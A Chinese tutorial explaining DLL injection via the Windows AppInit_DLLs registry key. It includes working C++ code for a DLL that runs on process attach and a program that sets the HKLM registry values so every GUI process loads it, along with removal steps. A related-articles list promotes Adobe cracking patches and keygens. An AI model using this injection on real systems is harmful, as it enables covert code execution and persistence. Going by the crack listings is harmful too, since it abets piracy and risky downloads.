DLL注入——使用注册表

article/2025/11/7 21:31:15

1.简介

整个系统的配置都保存在注册表中,我们可以通过调整其中的设置来改变系统的行为。

该方式依赖User32.dll,也就是说,需要可执行程序调用到这个系统动态库,我们注入的dll才会被执行到。基本上所有基于GUI的应用程序都使用了User32.dll。

注册表位置:

// AppInit_Dlls(64位程序读取)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows [AppInit_DLLs]//AppInit_Dlls(32位程序读取)
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows [AppInit_DLLs]//32位系统
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows [AppInit_DLLs]

查看注册表:windows+R键,输入regedit。

AppInit_DLLs:需要包含一个DLL的文件名或一组DLL的文件名(通过空格或逗号分隔),例如:D:\testDll.dll。

LoadAppInit_Dlls:将它的值设为1。

原理:当User32.dll被映射到一个新的进程时,会收到DLL_PROCESS_ATTACH通知,会取得上述注册表AppInit_DLLs键的值,并调用LoadLibrary来载入这个字符串中指定的每个DLL。当系统载入每个DLL的时候,会调用它们的DLLMain函数并将参数fdwReason的值设为DLL_PROCESS_ATTACH,这样每个DLL就能够对自己进行初始化。

2.示例

2.1首先编译一个自定义的DLL,我使用的vs2019,创建一个动态链接库,如下图所示。

2.2在dllmain.cpp中编写如下代码,主要是创建了一个新的进程,然后使用google浏览器打开百度页面。当系统载入每个DLL的时候,会调用它们的DLLMain函数并将参数fdwReason(这里命名为ul_reason_for_call)的值设为DLL_PROCESS_ATTACH,这样每个DLL就能够对自己进行初始化。

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"#define CMD L"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe"
#define URL L"http://www.baidu.com"BOOL APIENTRY DllMain( HMODULE hModule,DWORD  ul_reason_for_call,LPVOID lpReserved)
{TCHAR cmd[MAX_PATH] = { 0 };STARTUPINFO si = { 0 };PROCESS_INFORMATION pi = { 0 };si.cb = sizeof(STARTUPINFO);si.dwFlags = STARTF_USESHOWWINDOW;si.wShowWindow = SW_SHOWNORMAL;switch (ul_reason_for_call){case DLL_PROCESS_ATTACH:wsprintf(cmd, L"%s %s", CMD, URL);// 创建一个新进程及其主线程;if (!CreateProcess(NULL, (LPTSTR)(LPCSTR)cmd, NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi))break;case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:if (pi.hProcess != NULL)CloseHandle(pi.hProcess);break;}return TRUE;
}

2.3编译然后生成库。

将生成好的库放到一个简洁的路径下,这里放到D:/testDll.dll。

2.4使用代码将键值写入到注册表。

新建一个控制台应用程序,代码如下:

#define DSTKEY L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\"BOOL RegInject(WCHAR* DllFullPath)
{BOOL bOk = FALSE;HKEY hKey = NULL;BYTE DllPath[MAX_PATH] = { 0 };//打开注册表if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, DSTKEY, 0, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS){printf("RegOpenKeyEx Error!");return FALSE;}memcpy((void*)DllPath, DllFullPath, _tcslen(DllFullPath) * 2 + 1);//设置键值if (RegSetValueEx(hKey, L"AppInit_DLLs", 0, REG_SZ, DllPath, (_tcslen(DllFullPath) + 1) * sizeof(TCHAR)) != ERROR_SUCCESS){printf("RegSetKeyValue Error!");return FALSE;}DWORD dwValue = 1;//设置键值if (RegSetValueEx(hKey, L"LoadAppInit_DLLs", 0, REG_DWORD, (BYTE*)&dwValue, sizeof(dwValue)) != ERROR_SUCCESS){printf("RegSetKeyValue Error! ");return FALSE;}//RegDeleteValue(hKey, L"AppInit_DLLs");//RegDeleteValue(hKey, L"LoadAppInit_DLLs");bOk = TRUE;if (hKey)RegCloseKey(hKey);return bOk;
}// TODO: 在此处放置代码WCHAR DllFullPath[MAX_PATH] = L"D:\\testDll.dll";BOOL bOk = RegInject(DllFullPath);if (bOk){printf("Registry inject success! ");}else{printf("Registry inject fail! ");}

注意:程序要使用管理员权限执行,修改如下图所示。

 设置好注册表之后,任意GUI程序运行,都会打开浏览器,会弹出无数个网页。慎用!!!

2.5删除注册表键值

需要调用以下方法,删除对应的键值,这样才能将网页无限弹窗停止。

   RegDeleteValue(hKey, L"AppInit_DLLs");RegDeleteValue(hKey, L"LoadAppInit_DLLs");


http://chatgpt.dhexx.cn/article/oHtGExBG.shtml

相关文章

如何手动运行dll文件,非注册dll

遇到一个dll文件的恶意样本,cuckoo沙箱给出的运行命令如下: cd C:\Windows\System32\ rundll32.exe C:\coreshell.dll,DllMain 方法:rundll32.exe 文件位置,DllMain but会弹出警告 另外一种方法,在专家的文章中有提到 DllM…

怎样在计算机上注册dll文件,win10如何注册dll文件_win10系统dll文件怎样安装

在win10系统中,有着大量的dll文件,这是一种计算机上的一类文件,而且一个DLL文件也可能被不同的应用程序使用,但是许多用户可能都不知道win10注册dll文件的操作,那么win10如何注册dll文件呢?接下来就来告诉大…

Win10注册DLL办法

测试环境:win7 64位系统自动升级到win10 64位系统 经验提升:不要在开始-运行-CMD里面执行,不起作用。 注册步骤如下: 1、准备要注册的DLL文件到指定目录 2、新建一个BAT文件,写入注册命令 3、右键已管理员身份运行注…

怎样在计算机上注册dll文件,注册dll文件【搞定步骤】

喜欢使用电脑的小伙伴们一般都会遇到win7系统注册dll文件的问题,突然遇到win7系统注册dll文件的问题就不知道该怎么办了,其实win7系统注册dll文件的解决方法非常简单,按照 1:在电脑桌面上,依次选中菜单项开始--运行&am…

C#【必备技能篇】注册dll+批量注册dll

文章目录 问题描述:一、注册单个dll:1、把相应的dll放置到System32(32位)和SysWOW64中2、以管理员身份打开“命令提示符”3、输入cmd指令完成注册4、把相关的dll放置到项目输出路径下,即可成功引用 二、批量注册dll1、…

photoshop cc 2018破解补丁(pscc2018注册机) 附使用方法

1、下载破解程序 破解文件自行到 http://www.ddooo.com/softdown/109954.htm 下载 博主可以到本博客的文件--》pscc2018zcj_109954.rar下载 2、破解 打开Amtemu.exe 第一个下拉框选择 adobe photoshop cc 2015 没错,就是2015 。。2015可以破解2018的 然后点击…

安装ADOBE全系列软件的步骤

第一步:下载Adobe Creative Cloud 这款应用里几乎囊括了Adobe旗下的所有软件,也就是说有了这个应用,以后下载Adobe的任意一款软件,完全不用再去百度搜索下载地址了,更不用担心来源不正有病毒啥的,只要你的电…

Adobe Audition CS6

Adobe Audition CS6是一款功能强大、效果出色的多轨录音和音频处理软件,可在普通声卡上同时处理多达64轨的音频信号,并且最多支持混合128个声道,创建回路并使用45种以上的数字信号处理效果,具有极其丰富的音频处理效果。而且Audit…

Adobe Lightroom For Mac安装使用教程

软件介绍 Adobe Photoshop Lightroom是Adobe 研发的一款以后期制作为重点的图形工具软件,是当今数字拍摄工作流程中不可或缺的一部分。其增强的校正工具、强大的组织功能以及灵活的打印选项可以帮助您加快图片后期处理速度,将更多的时间投入拍摄。 安装…

Adobe Acrobat DC 2015 for Mac

作为世界上优秀的桌面版 PDF 解决方案的后继之作,焕然一新的 Acrobat DC 将彻底超乎您的想象。Adobe Acrobat DC 2015 for Mac 是一款值得信赖的 PDF 创建程序,可使您的工作变得更轻松。使用 Acrobat 对 PDF 文件进行转换、编辑和签名,无论您…

Adobe Acrobat Pro DC 2021下载及教程

资源地址:Adobe Acrobat Pro DC 2021 Adobe Acrobat Pro DC 2021是一款功能强大且专业性的PDF编辑处理工具,该软件也是一款知名度非常高的一款文件处理软件,该软件提高了PDF解决方案的新里程碑,还拥有全球最顶尖的PDF文件编辑处理…

lightroom classic破解版

lrc2022是一款图片后期处理软件,全称为Adobe Photoshop Lightroom Classic 2022,它用于摄影后期的图像管理、校正和处理,但不同的是,该软件支持多种相机和镜头配置文件,可以帮助用户轻松、快速地修复镜头像差问题。从技…

Lightroom Classic CC 2019 for Mac永久破解激活方法(含lr cc 2019破解补丁)

Lightroom Classic CC 2019 for Mac中文破解版终于在万众期待中上线了,这是Adobe公司出品的一款强大图像处理软件。新版Lightroom classic cc 2019功能更加强大,在性能方面也有了很大的提升,让您可以在更短的时间内导入照片、生成预览从“库”…

adobe bridge是什么软件?

adobe bridge 2022是一款由Adobe全新推出的创意资源管理解决方案类的软件,通常被认为是Lightroom 的绝佳免费替代品,是目前最受欢迎的资产管理器和媒体浏览器,可让您高效地组织所有媒体。adobe bridge重要性也是不言而喻的,它可以…

PhotoShop 2018 CC 破解 (Win10 附补丁)

补丁地址:https://pan.baidu.com/s/16SeWdKStVb6setOUFRxOgg 提取码:oimj 第一步: 打开程序。找到并选择“Adobe Photoshop CC 2017”(这是可以破解2018版本的,亲测可用,大可放心)&#xff0…

Acrobat XI的破解补丁amtlib.dll可能的一些问题

http://www.sabernova.com/2013/12/cracked-adobe-acrobat-xi-will-revert.html#axzz2r8VSzZi9 从当前的情况看,修改并覆盖 amtlib.dll 是用技术手段获取Adobe系列(含acrobat)软件使用权限的最稳定可靠方法。 但是,不同的amtlib.…

Audition CC 2019 for Mac中文破解版永久激活方法附破解补丁

Adobe Audition CC 2019 for Mac中文破解版全新上线,这是Adobe公司出品的一款专业数字音频编辑软件,提供先进的音频混音、编辑和效果处理功能,专为音频和视频专业人员设计。新版audition cc 2019 增加降噪和减少混响效果,多轨剪辑…

Mac photoshop cc 2017 破解补丁

原文地址为: Mac photoshop cc 2017 破解补丁 关于破解,其实到网上都可以找到,本不想做笔记,但是解决这个问题,花费我好大的功夫,所以,还是简单点总结一下:让有需要的朋友少一点时间…

Windows 10(Win10) 怎么删除设备和驱动里的CD驱动器

1.安装了UltraISO,设备和驱动里多了CD驱动器 2.管理员权限打开UltraISO,这里一定要管理员权限打开 3.打开选项->配置 4.选择虚拟光驱,将设备数量设置为无,点击确认 5.查看设备和驱动,已经没有了CD驱动器 参考链接:…

win10删除第三方增加的“设备和驱动器”

怎么删除win10中我的电脑里面的“设备和驱动器” 有些时候明明已经卸载了某个软件,但是这个软件的驱动程序仍在设备和驱动器中显示,应该如何删除呢?从注册表删除 打开注册表winR 按以下路径寻找注册表文件 计算机\HKEY_CURRENT_USER\SOFT…